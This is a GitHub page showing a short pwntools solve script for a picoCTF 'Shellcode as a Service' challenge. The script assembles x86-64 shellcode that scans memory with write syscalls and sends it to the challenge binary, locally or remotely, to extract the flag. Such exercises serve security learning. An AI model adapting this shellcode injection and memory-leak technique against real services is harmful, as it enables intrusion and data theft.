-
Notifications
You must be signed in to change notification settings - Fork 4
/
solve.py
43 lines (31 loc) · 979 Bytes
/
solve.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/env python3
from pwn import asm, context, gdb, remote, sys
context.binary = 'chall'
context.log_level = 'CRITICAL'
shellcode = asm('''
mov rsi, 0x550000002060 # Start searching from address
mov rdi, 1 # stdout
mov rdx, 100 # Length
write:
mov rax, 1 # $rax = 1 => sys_write
syscall
cmp rax, 0 # Error code
je exit
add rsi, 0x100000 # Increase address
jmp write
exit:
xor rax, rax
or rax, 0x3c # $rax = 0x3c => sys_exit
xor rdi, rdi # $rdi = 0 => Error code
syscall
''')
def get_process():
if len(sys.argv) == 1:
return context.binary.process()
host, port = sys.argv[1], sys.argv[2]
return remote(host, int(port))
p = get_process()
p.sendafter(b'Welcome to Shellcode as a Service!\n', shellcode)
p.recvuntil(b'CTF{')
print('picoCTF{' + p.recvuntil(b'}').decode())
p.close()